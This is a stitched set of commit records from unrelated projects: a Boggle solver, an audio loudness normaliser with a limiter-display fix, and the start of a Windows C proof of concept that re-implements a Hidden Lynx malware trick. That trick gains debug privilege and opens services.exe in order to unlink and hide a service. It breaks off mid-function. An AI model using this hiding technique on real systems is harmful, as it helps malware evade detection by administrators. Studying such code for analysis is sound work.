            if(b)
                return true;
        }

        if(matbool[i-1][j+1] == false && matBoggle[i-1][j+1] == strPalabras[h])
        {
            if(h == strPalabras.length()-1)
            {
                return true;
            }
            //cout << 6 << endl;
            matbool[i-1][j+1] = true;
            b = ChecaAlrededor(i-1, j+1, strPalabras, matBoggle, matbool, h+1);
            if(b)
                return true;
        }

        if(matbool[i-1][j] == false && matBoggle[i-1][j] == strPalabras[h])
        {
            if(h == strPalabras.length()-1)
            {
                return true;
            }
            //cout << 8 << endl;
            matbool[i-1][j] = true;
            b = ChecaAlrededor(i-1, j, strPalabras, matBoggle, matbool, h+1);
            if(b)
                return true;
        }

        if(matbool[i+1][j-1] == false && matBoggle[i+1][j-1] == strPalabras[h])
        {
            if(h == strPalabras.length()-1)
            {
                return true;
            }
            //cout << 7 << endl;
            matbool[i+1][j-1] = true;
            b = ChecaAlrededor(i+1, j-1, strPalabras, matBoggle, matbool, h+1);
            if(b)
                return true;
        }

    return false;
}

int main()
{
    int h = 1, sum = 0, cantjuegos, juego = 1, cant = 0;
    bool matbool[4][4], Existe = true, bContinue;
    char matBoggle[4][4], letra;
    string strPalabras;

    for(int i=0; i < 4; i++)
    {
        for(int j=0; j < 4; j++)
        {
            matbool[i][j] = false;
        }
    }

    cin >> cantjuegos;

    for(int L = 0; L < cantjuegos; L++)
    {
        sum = 0;
        cant = 0;
        for(int i=0; i < 4; i++)
        {
            for(int j=0; j < 4; j++)
            {
                cin >> letra;
                matBoggle[i][j] = letra;
            }
        }

        cin >> cant;
        for(int k = 0; k < cant; k++)
        {
            cin >> strPalabras;
            bContinue = true;
            for(int i = 0; i < 4 && bContinue; i++)
            {
                for(int j = 0; j < 4 && bContinue; j++)
                {
                    if(matBoggle[i][j] == strPalabras[0])
                    {
                        h = 1;
                        matbool[i][j] = true;
                        Existe = ChecaAlrededor(i, j, strPalabras, matBoggle, matbool, h);
                        //cout << strPalabras<< " ";
                        if(Existe)
                        {
                            sum = Puntaje(strPalabras, sum);
                            bContinue = false;
                            //cout << sum;
                        }
                            //cout << endl;
                        for(int i = 0; i < 4; i++)
                        {
                            for(int j = 0; j < 4; j++)
                            {
                                matbool[i][j] = false;
                            }
                        }
                        bContinue = false;
                    }
                }
            }
        }
        cout << "Game " << juego << ": " << sum << endl;
        juego++;
    }
return 0;
}
<commit_msg>Delete test file<commit_after><|endoftext|>


<commit_before>775fb666-4b02-11e5-bd43-28cfe9171a43<commit_msg>I'm done<commit_after>776f0b5c-4b02-11e5-9bf0-28cfe9171a43<|endoftext|>


<commit_before>61eb9538-2749-11e6-96f3-e0f84713e7b8<commit_msg>Made changes so it will hopefully compile by the next commit<commit_after>61f41817-2749-11e6-aa1c-e0f84713e7b8<|endoftext|>


<commit_before>a4811e2e-2747-11e6-ae57-e0f84713e7b8<commit_msg>updated some files<commit_after>a4959b57-2747-11e6-bc59-e0f84713e7b8<|endoftext|>


<commit_before>a0a8de57-4b02-11e5-b6a8-28cfe9171a43<commit_msg>new flies<commit_after>a0b43775-4b02-11e5-a245-28cfe9171a43<|endoftext|>


<commit_before>#include <sndfile.h>
#include <iostream>
#include <iomanip>
#include <string>
#include <vector>
#include <boost/program_options.hpp>

#include "utilities.hpp"
#include "limiter.hpp"

namespace po = boost::program_options;

int main(int argc, char **argv) {
    std::string inputFilename = "";
    std::string outputFilename = "";
    int blockSize = 1024;
    float minDb = -45;
    float targetDb = -20;
    int windowSize = 20;
    bool limiterUsed = true;
    float limiterRelease = 0.0006;
    int limiterAttack = 1024;
    bool checkSilence = false;

    po::options_description prettyDesc("Options"); // this version doesn't include the positional arguments
    prettyDesc.add_options()
        ("help", "Show this help information")
        ("target,t", po::value<float>(&targetDb)->required(), "Set target dB level")
        ("silence,s", po::value<float>(&minDb)->default_value(-45.0), "Minimum dB value for audio content, anything below this is considered silence.")
        ("check-silence", "Skips dynamics processing and cuts out silence from the output file. Use to test the silence level.")
        ("window,w", po::value<int>(&windowSize)->default_value(20), "Window size for smoothing volume changes.")
        ("block-size", po::value<int>(&blockSize)->default_value(1024), "Block size for calculating RMS values.")
        ("limiter-attack", po::value<int>(&limiterAttack)->default_value(4), "Limiter attack time in samples. Increasing this value will directly increase processing time.")
        ("limiter-release", po::value<float>(&limiterRelease)->default_value(0.0006), "Limiter release time in dB/sample.")
        ("limiter-disable", "Disable the limiter completely - may cause clipping.")
    ;
    po::options_description desc("Options"); // this one is actually used to parse, don't use required()
    desc.add_options()
        ("help", "Show this help information")
        ("input-file", po::value<std::string>(&inputFilename))
        ("output-file", po::value<std::string>(&outputFilename))
        ("target,t", po::value<float>(&targetDb), "Set target dB level")
        ("silence,s", po::value<float>(&minDb)->default_value(-45.0), "Minimum dB value for audio content, anything below this is considered silence.")
        ("check-silence", "Skips dynamics processing and cuts out silence from the output file. Use to test the silence level.")
        ("window,w", po::value<int>(&windowSize)->default_value(20), "Window size for smoothing volume changes.")
        ("block-size", po::value<int>(&blockSize)->default_value(1024), "Block size for calculating RMS values.")
        ("limiter-attack", po::value<int>(&limiterAttack)->default_value(4), "Limiter attack time in samples. Increasing this value will directly increase processing time.")
        ("limiter-release", po::value<float>(&limiterRelease)->default_value(0.0006), "Limiter release time in dB/sample.")
        ("disable-limiter", "Disable the limiter completely - may cause clipping.")
    ;
    po::positional_options_description p;
    p.add("input-file", 1).add("output-file", 1);

    po::variables_map vm;
    try {
        po::store(po::command_line_parser(argc, argv).options(desc).positional(p).run(), vm);
        po::notify(vm);
    } catch(std::exception& e) {
        std::cout << "Error: " << e.what() << std::endl;
        return 1;
    }

    if (vm.count("help")) {
        std::cout << "Usage: " << argv[0] << " input.wav output.wav OPTIONS" << std::endl << std::endl;
        std::cout << prettyDesc << std::endl;
        return 1;
    }

    // do we have the required values?
    if (!vm.count("input-file") || !vm.count("output-file")) {
        std::cout << "The input and output filenames are required." << std::endl;
        return 1;
    }
    if (vm.count("check-silence")) {
        checkSilence = true;
    }
    if (!vm.count("target") && !checkSilence) {
        std::cout << "The target dB level (-t, --target)is required." << std::endl;
        return 1;
    }
    if (vm.count("disable-limiter")) {
        limiterUsed = false;
    }
    // check that everything's within a valid range
    if (blockSize < 32) {
        std::cout << "Block size must be >= 32." << std::endl;
        return 1;
    }
    if (minDb >= 0) {
        std::cout << "Silence level must be < 0 dB." << std::endl;
        return 1;
    }
    if (targetDb >= 0) {
        std::cout << "Target level must be < 0 dB." << std::endl;
        return 1;
    }
    if (windowSize < 1) {
        std::cout << "Window size must be >= 1." << std::endl;
        return 1;
    }
    if (limiterRelease <= 0) {
        std::cout << "Limiter release must be > 0." << std::endl;
        return 1;
    }
    if (limiterAttack < 1) {
        std::cout << "Limiter attack must be > 0." << std::endl;
        return 1;
    }

    SF_INFO info;
    info.format = 0;
    SNDFILE* infile = sf_open(inputFilename.c_str(), SFM_READ, &info);

    if (!infile) {
        std::cout << "Error opening input file: " << sf_strerror(NULL) << std::endl;
        return 1;
    }

    SNDFILE *outfile = NULL;
    if (checkSilence) {
        SF_INFO outinfo;
        outinfo.format = SF_FORMAT_WAV | SF_FORMAT_PCM_16;
        outinfo.samplerate = info.samplerate;
        outinfo.channels = info.channels;
        outfile = sf_open(outputFilename.c_str(), SFM_WRITE, &outinfo);

        if (!outfile) {
            std::cout << "Error opening output file: " << sf_strerror(NULL) << std::endl;
            sf_close(infile);
            return 1;
        }
    }

    // the file was opened, let's calculate some RMS!
    std::cout << "Calculating RMS values..." << std::endl;
    std::vector<float> rmsBlocks;
    sf_count_t frames;
    float *data = new float[blockSize * info.channels];
    do {
        frames = sf_readf_float(infile, data, blockSize);
        float rms = calculateRMS(data, frames * info.channels);
        float rmsDb = VtoDB(rms);
        rmsBlocks.push_back(rmsDb);
        if (checkSilence && rmsDb > minDb) {
            sf_writef_float(outfile, data, frames);
        }
    } while (frames == blockSize);
    std::cout << rmsBlocks.size() << " RMS blocks calculated." << std::endl;
    delete[] data;

    if (checkSilence) {
        std::cout << "Done." << std::endl;

        sf_close(infile);
        sf_close(outfile);
        return 0;
    }

    // use a ring buffer to calculate a moving average over the RMS blocks
    int ringBufferSize = windowSize * 2 + 1;
    float ringBuffer[ringBufferSize];
    for (int i=0; i<ringBufferSize; i++) {
        ringBuffer[i] = -1000.0;
    }
    int ringBufferPos = 0;
    std::vector<float>::size_type currentBlock = 0;
    // start filling the ring buffer
    for (int i=0; i<windowSize; i++) {
        if (currentBlock < rmsBlocks.size()) {
            ringBuffer[ringBufferPos] = rmsBlocks[currentBlock];
        } else {
            ringBuffer[ringBufferPos] = -1000.0;
        }
        currentBlock++;
        ringBufferPos++;
    }
    // go through all of our blocks
    std::cout << "Calculating gain points..." << std::endl;
    std::vector<gainPoint> gainPoints;
    int minAverageBlocks = windowSize * 1.5;
    float maximumGain = 0;
    float minimumGain = 0;
    for (std::vector<float>::size_type i=0; i<rmsBlocks.size(); i++) {
        if (currentBlock < rmsBlocks.size()) {
            ringBuffer[ringBufferPos] = rmsBlocks[currentBlock];
        } else {
            ringBuffer[ringBufferPos] = -1000.0;
        }
        currentBlock++;
        ringBufferPos++;
        if (ringBufferPos >= ringBufferSize) ringBufferPos = 0;
        // calculate the average RMS if we have enough blocks that aren't silent
        int numBlocks = 0;
        float rms = 0;
        for (int j=0; j<ringBufferSize; j++) {
            if (ringBuffer[j] > minDb) {
                numBlocks++;
                rms += ringBuffer[j];
            }
        }
        if (numBlocks > minAverageBlocks) {
            rms = rms / (float)numBlocks;
            float gain = targetDb - rms;
            gainPoint gp;
            gp.gain = gain;
            gp.position = (i * blockSize) + (blockSize / 2);
            gainPoints.push_back(gp);
            if (gainPoints.size() == 1 || gain > maximumGain) maximumGain = gain;
            if (gainPoints.size() == 1 || gain < minimumGain) minimumGain = gain;
        }
    }
    std::cout << gainPoints.size() << " gain points calculated." << std::endl;
    if (gainPoints.size() == 0) {
        std::cout << "Error: no gain points found, nothing to do." << std::endl;
        sf_close(infile);
        return 1;
    }
    std::cout << "Minimum gain: " << minimumGain << " dB." << std::endl;
    std::cout << "Maximum gain: " << maximumGain << " dB." << std::endl;

    SF_INFO outinfo;
    outinfo.format = SF_FORMAT_WAV | SF_FORMAT_PCM_16;
    outinfo.samplerate = info.samplerate;
    outinfo.channels = info.channels;
    outfile = sf_open(outputFilename.c_str(), SFM_WRITE, &outinfo);

    if (!outfile) {
        std::cout << "Error opening output file: " << sf_strerror(NULL) << std::endl;
        sf_close(infile);
        return 1;
    }

    // set up the limiter
    Limiter *limiter = NULL;
    if (limiterUsed) limiter = new Limiter(limiterAttack, limiterRelease);

    // now we go through the file and apply the gain!
    std::cout << "Applying gain..." << std::endl;
    int processSize = 1024;
    if (limiterUsed && limiterAttack > processSize) processSize = limiterAttack;
    float *backingData1 = new float[processSize * info.channels];
    float *backingData2 = new float[processSize * info.channels];
    data = backingData1;
    float *oldData = backingData2;
    sf_count_t oldFrames;
    sf_seek(infile, 0, SEEK_SET);
    sf_count_t currentFrame = 0;
    sf_count_t clipped = 0;
    int currentPerc = 0;
    int blockNum = 0;
    int totalBlocks = info.frames / processSize;
    gainPoint firstGainPoint = gainPoints[0];
    gainPoint lastGainPoint = gainPoints[gainPoints.size() - 1];
    int currentGainPointNumber = 0;
    gainPoint currentGainPoint = firstGainPoint;
    gainPoint nextGainPoint;
    if (gainPoints.size() > 1) nextGainPoint = gainPoints[1];
    do {
        // flip the buffers and read new data
        float *temp = oldData;
        data = oldData;
        oldData = temp;
        oldFrames = frames;
        frames = sf_readf_float(infile, data, processSize);
        for (sf_count_t i=0; i<frames; i++) {
            // calculate the gain
            float gain = 0.0;
            if (currentFrame <= firstGainPoint.position) {
                gain = firstGainPoint.gain;
            } else if (currentFrame >= lastGainPoint.position) {
                gain = lastGainPoint.gain;
            } else {
                // interpolate between gain points
                if (currentFrame >= nextGainPoint.position) {
                    currentGainPointNumber++;
                    currentGainPoint = gainPoints[currentGainPointNumber];
                    nextGainPoint = gainPoints[currentGainPointNumber + 1];
                }
                float pos = (float)(currentFrame - currentGainPoint.position) / (float)(nextGainPoint.position - currentGainPoint.position);
                gain = ((1.0f - pos) * currentGainPoint.gain) + (pos * nextGainPoint.gain);
            }
            float gainMult = DBtoV(gain);
            // apply the gain
            float highestValue = 0.0;
            for (int j=0; j<info.channels; j++) {
                float sample = data[i * info.channels + j];
                sample = sample * gainMult;
                if (!limiterUsed && sample > 1.0) clipped++;
                if (sample > highestValue) highestValue = sample;
                data[i * info.channels + j] = sample;
            }
            currentFrame++;
        }
        // apply the limiter
        limiter->process(oldData, oldFrames, info.channels, data, frames);
        // write the frames to the new file
        if (blockNum > 0) sf_writef_float(outfile, oldData, oldFrames);
        blockNum++;
        if (totalBlocks > 0) {
            int thisPerc = (blockNum * 100) / totalBlocks;
            if (thisPerc > currentPerc) {
                currentPerc = thisPerc;
                std::cout << ">" << std::setw(3) << currentPerc << "% done" << "\r" << std::flush;
            }
        }
    } while (frames == processSize);
    std::cout << "Done.     " << std::endl;

    limiter->process(data, frames, info.channels, NULL, 0);
    sf_writef_float(outfile, data, frames);
    if (clipped) std::cout << "WARNING: " << clipped << " samples clipped and limiter disabled" << std::endl;

    if (limiterUsed) {
        int limitedPercent = 100.0 * ((float)limiter->getLimitedFrames() / (float)limiter->getTotalFrames());
        std::cout << limiter->getLimitedFrames() << " " << limiter->getTotalFrames() << std::endl;
        std::cout << "Limiter applied to " << limitedPercent << "% of audio." << std::endl;
        if (limitedPercent > 10) {
            std::cout << "WARNING: You may want to lower the target dB level so that less limiting is applied." << std::endl;
        }
        delete limiter;
    }
    delete[] backingData1;
    delete[] backingData2;

    sf_close(infile);
    sf_close(outfile);

    return 0;
}
<commit_msg>fixed limiter percent display<commit_after>#include <sndfile.h>
#include <iostream>
#include <iomanip>
#include <string>
#include <vector>
#include <boost/program_options.hpp>

#include "utilities.hpp"
#include "limiter.hpp"

namespace po = boost::program_options;

int main(int argc, char **argv) {
    std::string inputFilename = "";
    std::string outputFilename = "";
    int blockSize = 1024;
    float minDb = -45;
    float targetDb = -20;
    int windowSize = 20;
    bool limiterUsed = true;
    float limiterRelease = 0.0006;
    int limiterAttack = 1024;
    bool checkSilence = false;

    po::options_description prettyDesc("Options"); // this version doesn't include the positional arguments
    prettyDesc.add_options()
        ("help", "Show this help information")
        ("target,t", po::value<float>(&targetDb)->required(), "Set target dB level")
        ("silence,s", po::value<float>(&minDb)->default_value(-45.0), "Minimum dB value for audio content, anything below this is considered silence.")
        ("check-silence", "Skips dynamics processing and cuts out silence from the output file. Use to test the silence level.")
        ("window,w", po::value<int>(&windowSize)->default_value(20), "Window size for smoothing volume changes.")
        ("block-size", po::value<int>(&blockSize)->default_value(1024), "Block size for calculating RMS values.")
        ("limiter-attack", po::value<int>(&limiterAttack)->default_value(4), "Limiter attack time in samples. Increasing this value will directly increase processing time.")
        ("limiter-release", po::value<float>(&limiterRelease)->default_value(0.0006), "Limiter release time in dB/sample.")
        ("limiter-disable", "Disable the limiter completely - may cause clipping.")
    ;
    po::options_description desc("Options"); // this one is actually used to parse, don't use required()
    desc.add_options()
        ("help", "Show this help information")
        ("input-file", po::value<std::string>(&inputFilename))
        ("output-file", po::value<std::string>(&outputFilename))
        ("target,t", po::value<float>(&targetDb), "Set target dB level")
        ("silence,s", po::value<float>(&minDb)->default_value(-45.0), "Minimum dB value for audio content, anything below this is considered silence.")
        ("check-silence", "Skips dynamics processing and cuts out silence from the output file. Use to test the silence level.")
        ("window,w", po::value<int>(&windowSize)->default_value(20), "Window size for smoothing volume changes.")
        ("block-size", po::value<int>(&blockSize)->default_value(1024), "Block size for calculating RMS values.")
        ("limiter-attack", po::value<int>(&limiterAttack)->default_value(4), "Limiter attack time in samples. Increasing this value will directly increase processing time.")
        ("limiter-release", po::value<float>(&limiterRelease)->default_value(0.0006), "Limiter release time in dB/sample.")
        ("disable-limiter", "Disable the limiter completely - may cause clipping.")
    ;
    po::positional_options_description p;
    p.add("input-file", 1).add("output-file", 1);

    po::variables_map vm;
    try {
        po::store(po::command_line_parser(argc, argv).options(desc).positional(p).run(), vm);
        po::notify(vm);
    } catch(std::exception& e) {
        std::cout << "Error: " << e.what() << std::endl;
        return 1;
    }

    if (vm.count("help")) {
        std::cout << "Usage: " << argv[0] << " input.wav output.wav OPTIONS" << std::endl << std::endl;
        std::cout << prettyDesc << std::endl;
        return 1;
    }

    // do we have the required values?
    if (!vm.count("input-file") || !vm.count("output-file")) {
        std::cout << "The input and output filenames are required." << std::endl;
        return 1;
    }
    if (vm.count("check-silence")) {
        checkSilence = true;
    }
    if (!vm.count("target") && !checkSilence) {
        std::cout << "The target dB level (-t, --target)is required." << std::endl;
        return 1;
    }
    if (vm.count("disable-limiter")) {
        limiterUsed = false;
    }
    // check that everything's within a valid range
    if (blockSize < 32) {
        std::cout << "Block size must be >= 32." << std::endl;
        return 1;
    }
    if (minDb >= 0) {
        std::cout << "Silence level must be < 0 dB." << std::endl;
        return 1;
    }
    if (targetDb >= 0) {
        std::cout << "Target level must be < 0 dB." << std::endl;
        return 1;
    }
    if (windowSize < 1) {
        std::cout << "Window size must be >= 1." << std::endl;
        return 1;
    }
    if (limiterRelease <= 0) {
        std::cout << "Limiter release must be > 0." << std::endl;
        return 1;
    }
    if (limiterAttack < 1) {
        std::cout << "Limiter attack must be > 0." << std::endl;
        return 1;
    }

    SF_INFO info;
    info.format = 0;
    SNDFILE* infile = sf_open(inputFilename.c_str(), SFM_READ, &info);

    if (!infile) {
        std::cout << "Error opening input file: " << sf_strerror(NULL) << std::endl;
        return 1;
    }

    SNDFILE *outfile = NULL;
    if (checkSilence) {
        SF_INFO outinfo;
        outinfo.format = SF_FORMAT_WAV | SF_FORMAT_PCM_16;
        outinfo.samplerate = info.samplerate;
        outinfo.channels = info.channels;
        outfile = sf_open(outputFilename.c_str(), SFM_WRITE, &outinfo);

        if (!outfile) {
            std::cout << "Error opening output file: " << sf_strerror(NULL) << std::endl;
            sf_close(infile);
            return 1;
        }
    }

    // the file was opened, let's calculate some RMS!
    std::cout << "Calculating RMS values..." << std::endl;
    std::vector<float> rmsBlocks;
    sf_count_t frames;
    float *data = new float[blockSize * info.channels];
    do {
        frames = sf_readf_float(infile, data, blockSize);
        float rms = calculateRMS(data, frames * info.channels);
        float rmsDb = VtoDB(rms);
        rmsBlocks.push_back(rmsDb);
        if (checkSilence && rmsDb > minDb) {
            sf_writef_float(outfile, data, frames);
        }
    } while (frames == blockSize);
    std::cout << rmsBlocks.size() << " RMS blocks calculated." << std::endl;
    delete[] data;

    if (checkSilence) {
        std::cout << "Done." << std::endl;

        sf_close(infile);
        sf_close(outfile);
        return 0;
    }

    // use a ring buffer to calculate a moving average over the RMS blocks
    int ringBufferSize = windowSize * 2 + 1;
    float ringBuffer[ringBufferSize];
    for (int i=0; i<ringBufferSize; i++) {
        ringBuffer[i] = -1000.0;
    }
    int ringBufferPos = 0;
    std::vector<float>::size_type currentBlock = 0;
    // start filling the ring buffer
    for (int i=0; i<windowSize; i++) {
        if (currentBlock < rmsBlocks.size()) {
            ringBuffer[ringBufferPos] = rmsBlocks[currentBlock];
        } else {
            ringBuffer[ringBufferPos] = -1000.0;
        }
        currentBlock++;
        ringBufferPos++;
    }
    // go through all of our blocks
    std::cout << "Calculating gain points..." << std::endl;
    std::vector<gainPoint> gainPoints;
    int minAverageBlocks = windowSize * 1.5;
    float maximumGain = 0;
    float minimumGain = 0;
    for (std::vector<float>::size_type i=0; i<rmsBlocks.size(); i++) {
        if (currentBlock < rmsBlocks.size()) {
            ringBuffer[ringBufferPos] = rmsBlocks[currentBlock];
        } else {
            ringBuffer[ringBufferPos] = -1000.0;
        }
        currentBlock++;
        ringBufferPos++;
        if (ringBufferPos >= ringBufferSize) ringBufferPos = 0;
        // calculate the average RMS if we have enough blocks that aren't silent
        int numBlocks = 0;
        float rms = 0;
        for (int j=0; j<ringBufferSize; j++) {
            if (ringBuffer[j] > minDb) {
                numBlocks++;
                rms += ringBuffer[j];
            }
        }
        if (numBlocks > minAverageBlocks) {
            rms = rms / (float)numBlocks;
            float gain = targetDb - rms;
            gainPoint gp;
            gp.gain = gain;
            gp.position = (i * blockSize) + (blockSize / 2);
            gainPoints.push_back(gp);
            if (gainPoints.size() == 1 || gain > maximumGain) maximumGain = gain;
            if (gainPoints.size() == 1 || gain < minimumGain) minimumGain = gain;
        }
    }
    std::cout << gainPoints.size() << " gain points calculated." << std::endl;
    if (gainPoints.size() == 0) {
        std::cout << "Error: no gain points found, nothing to do." << std::endl;
        sf_close(infile);
        return 1;
    }
    std::cout << "Minimum gain: " << minimumGain << " dB." << std::endl;
    std::cout << "Maximum gain: " << maximumGain << " dB." << std::endl;

    SF_INFO outinfo;
    outinfo.format = SF_FORMAT_WAV | SF_FORMAT_PCM_16;
    outinfo.samplerate = info.samplerate;
    outinfo.channels = info.channels;
    outfile = sf_open(outputFilename.c_str(), SFM_WRITE, &outinfo);

    if (!outfile) {
        std::cout << "Error opening output file: " << sf_strerror(NULL) << std::endl;
        sf_close(infile);
        return 1;
    }

    // set up the limiter
    Limiter *limiter = NULL;
    if (limiterUsed) limiter = new Limiter(limiterAttack, limiterRelease);

    // now we go through the file and apply the gain!
    std::cout << "Applying gain..." << std::endl;
    int processSize = 1024;
    if (limiterUsed && limiterAttack > processSize) processSize = limiterAttack;
    float *backingData1 = new float[processSize * info.channels];
    float *backingData2 = new float[processSize * info.channels];
    data = backingData1;
    float *oldData = backingData2;
    sf_count_t oldFrames;
    sf_seek(infile, 0, SEEK_SET);
    sf_count_t currentFrame = 0;
    sf_count_t clipped = 0;
    int currentPerc = 0;
    int blockNum = 0;
    int totalBlocks = info.frames / processSize;
    gainPoint firstGainPoint = gainPoints[0];
    gainPoint lastGainPoint = gainPoints[gainPoints.size() - 1];
    int currentGainPointNumber = 0;
    gainPoint currentGainPoint = firstGainPoint;
    gainPoint nextGainPoint;
    if (gainPoints.size() > 1) nextGainPoint = gainPoints[1];
    do {
        // flip the buffers and read new data
        float *temp = oldData;
        data = oldData;
        oldData = temp;
        oldFrames = frames;
        frames = sf_readf_float(infile, data, processSize);
        for (sf_count_t i=0; i<frames; i++) {
            // calculate the gain
            float gain = 0.0;
            if (currentFrame <= firstGainPoint.position) {
                gain = firstGainPoint.gain;
            } else if (currentFrame >= lastGainPoint.position) {
                gain = lastGainPoint.gain;
            } else {
                // interpolate between gain points
                if (currentFrame >= nextGainPoint.position) {
                    currentGainPointNumber++;
                    currentGainPoint = gainPoints[currentGainPointNumber];
                    nextGainPoint = gainPoints[currentGainPointNumber + 1];
                }
                float pos = (float)(currentFrame - currentGainPoint.position) / (float)(nextGainPoint.position - currentGainPoint.position);
                gain = ((1.0f - pos) * currentGainPoint.gain) + (pos * nextGainPoint.gain);
            }
            float gainMult = DBtoV(gain);
            // apply the gain
            float highestValue = 0.0;
            for (int j=0; j<info.channels; j++) {
                float sample = data[i * info.channels + j];
                sample = sample * gainMult;
                if (!limiterUsed && sample > 1.0) clipped++;
                if (sample > highestValue) highestValue = sample;
                data[i * info.channels + j] = sample;
            }
            currentFrame++;
        }
        // apply the limiter
        limiter->process(oldData, oldFrames, info.channels, data, frames);
        // write the frames to the new file
        if (blockNum > 0) sf_writef_float(outfile, oldData, oldFrames);
        blockNum++;
        if (totalBlocks > 0) {
            int thisPerc = (blockNum * 100) / totalBlocks;
            if (thisPerc > currentPerc) {
                currentPerc = thisPerc;
                std::cout << ">" << std::setw(3) << currentPerc << "% done" << "\r" << std::flush;
            }
        }
    } while (frames == processSize);
    std::cout << "Done.     " << std::endl;

    limiter->process(data, frames, info.channels, NULL, 0);
    sf_writef_float(outfile, data, frames);
    if (clipped) std::cout << "WARNING: " << clipped << " samples clipped and limiter disabled" << std::endl;

    if (limiterUsed) {
        int limitedPercent = 100.0 * ((float)limiter->getLimitedFrames() / (float)limiter->getTotalFrames());
        if (limiter->getLimitedFrames() > 0 && limitedPercent == 0) {
            std::cout << "Limiter applied to <1% of audio." << std::endl;
        } else {
            std::cout << "Limiter applied to " << limitedPercent << "% of audio." << std::endl;
        }
        if (limitedPercent > 10) {
            std::cout << "WARNING: You may want to lower the target dB level so that less limiting is applied." << std::endl;
        }
        delete limiter;
    }
    delete[] backingData1;
    delete[] backingData2;

    sf_close(infile);
    sf_close(outfile);

    return 0;
}
<|endoftext|>


<commit_before>/* Copyright (c) 2014 Branden Clark
 *   MIT License: See LICENSE for details.
 *   It's only used because it's the least restrictive license I could find.
 * Description:
 *   Unlinking services from the service record list POC.
 *   Re-implementation of a method from a Hidden Lynx malware variant.
 */

#include <windows.h>
#include <tchar.h>
#include <strsafe.h>
#include <aclapi.h>
#include <stdio.h>
#include <tlhelp32.h>

#pragma comment(lib, "advapi32.lib")

#define HS_INFO_BUFFER_SIZE 32767
#define HS_MAX_LEN_SVC_NAME 80

typedef struct hs_svc_entry {
    void *prev_ptr;
    void *next_ptr;
    TCHAR *svc_name;
    TCHAR *svc_display_name;
    int list_index;
    int unk_1;
    int magic_sErv;
    int unk_2;
    int unk_3;
    int unk_4;
    SERVICE_STATUS svc_status;
} hs_svc_entry;
typedef hs_svc_entry * HS_LPSVC_ENTRY;

TCHAR hs_szSvcName[HS_MAX_LEN_SVC_NAME];

/* Main functions */
VOID hs_do_unlink_svc(void);
HANDLE hs_get_services_handle(void);
LPVOID hs_find_svc_record_list(HANDLE hServices);
HS_LPSVC_ENTRY hs_find_svc_entry(HANDLE hServices, LPVOID svc_record_list);
BOOL hs_unlink_svc(HANDLE hServices, HS_LPSVC_ENTRY my_svc_entry);

/* Helpers */
VOID hs_display_usage(void);
BOOL hs_set_SeDebugPrivilege();

void _tmain(int argc, TCHAR *argv[])
{
    if( argc != 2 )
    {
        printf("ERROR: Incorrect number of arguments\n");
        hs_display_usage();
        return;
    }

    StringCchCopy(hs_szSvcName, HS_MAX_LEN_SVC_NAME, argv[1]);

    hs_do_unlink_svc();
}

VOID hs_display_usage()
{
    printf("Description:\n");
    printf("\tCommand-line tool that unlinks a service "
           "from the service record list.\n");
    printf("Usage:\n");
    printf("\tunlink_svc [service_name]\n");
}

VOID hs_do_unlink_svc()
{
    bool error = FALSE;
    if(!hs_set_SeDebugPrivilege())
        goto fail;
    // Get a handle to services.exe (process)
    HANDLE hServices = hs_get_services_handle();
    if (hServices == INVALID_HANDLE_VALUE)
        goto fail;
    // Find the first entry in the service record list
    LPVOID svc_record_list = hs_find_svc_record_list(hServices);
    if (svc_record_list == NULL)
        goto fail;
    // Find the requested entry by name
    HS_LPSVC_ENTRY my_svc_entry = hs_find_svc_entry(hServices, svc_record_list);
    if (my_svc_entry == NULL)
        goto fail;
    // Unlink the requested entry
    if (!hs_unlink_svc(hServices, my_svc_entry))
        goto fail;
end:
    _tprintf(TEXT("%s %s from the service record list.\n"),
             (error) ? TEXT("Failed to unlink") : TEXT("Sucessfully unlinked"),
             hs_szSvcName);
    return;
fail:
    error = TRUE;
    goto end;
}

BOOL hs_set_SeDebugPrivilege()
{
    HANDLE hProcess;
    HANDLE hToken;
    TOKEN_PRIVILEGES dbg_tp;
    LUID dbg_luid;
    DWORD my_pid = GetCurrentProcessId();

    // Get my access token
    hProcess = OpenProcess(PROCESS_QUERY_INFORMATION|PROCESS_SET_INFORMATION, FALSE, my_pid);
    if (!OpenProcessToken(hProcess, TOKEN_ALL_ACCESS, &hToken))
        return FALSE;

    // Lookup value for SeDebugPrivilege
    if (!LookupPrivilegeValue(NULL, TEXT("SeDebugPrivilege"), &dbg_luid)) {
        return FALSE;
    }

    // Escalate my privileges
    dbg_tp.PrivilegeCount = 1;
    dbg_tp.Privileges[0].Luid = dbg_luid;
    dbg_tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
    if (!AdjustTokenPrivileges(hToken, FALSE, &dbg_tp, sizeof(TOKEN_PRIVILEGES), NULL, NULL) ||
        GetLastError() == ERROR_NOT_ALL_ASSIGNED) {
        return FALSE;
    }
    return TRUE;
}

HANDLE hs_get_services_handle()
{
    HANDLE hProcessSnap;
    PROCESSENTRY32 pe32;

    // Begin process enumeration
    hProcessSnap = CreateToolhelp32Snapshot( TH32CS_SNAPPROCESS, 0);
    if (hProcessSnap == INVALID_HANDLE_VALUE)
        return INVALID_HANDLE_VALUE;
    pe32.dwSize = sizeof(PROCESSENTRY32);
    if (!Process32First(hProcessSnap, &pe32)) {
        CloseHandle(hProcessSnap);
        return INVALID_HANDLE_VALUE;
    }

    // Enumerate the processes
    do {
        if (lstrcmpi(pe32.szExeFile, TEXT("services.exe")) == 0) {
            CloseHandle(hProcessSnap);
            return OpenProcess(PROCESS_ALL_ACCESS, FALSE, pe32.th32ProcessID);
        }
    } while (Process32Next(hProcessSnap, &pe32));

    CloseHandle(hProcessSnap);
    return INVALID_HANDLE_VALUE;
}

LPVOID hs_find_svc_record_list(HANDLE hServices)
{
    TCHAR info_buf[HS_INFO_BUFFER_SIZE];
    DWORD bytes_read = 0;
    SYSTEM_INFO sys_info;
    DWORD alloc_gran = 0;
    HS_LPSVC_ENTRY ret = 0;
    DWORD tmp_buf = 0;
    HANDLE svc_file = INVALID_HANDLE_VALUE;
    HANDLE file_map = INVALID_HANDLE_VALUE;
    LPDWORD file_view = NULL;

    // Open services.exe
    GetSystemDirectory(info_buf, HS_INFO_BUFFER_SIZE);
    StringCchCat(info_buf, HS_INFO_BUFFER_SIZE, TEXT("\\services.exe"));
    svc_file = CreateFile(info_buf, GENERIC_READ, FILE_SHARE_READ|FILE_SHARE_WRITE, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
    if (svc_file == INVALID_HANDLE_VALUE)
        goto fail;

    // Get allocation granularity
    GetSystemInfo(&sys_info);
    alloc_gran = sys_info.dwAllocationGranularity;

    // Create mapping for file
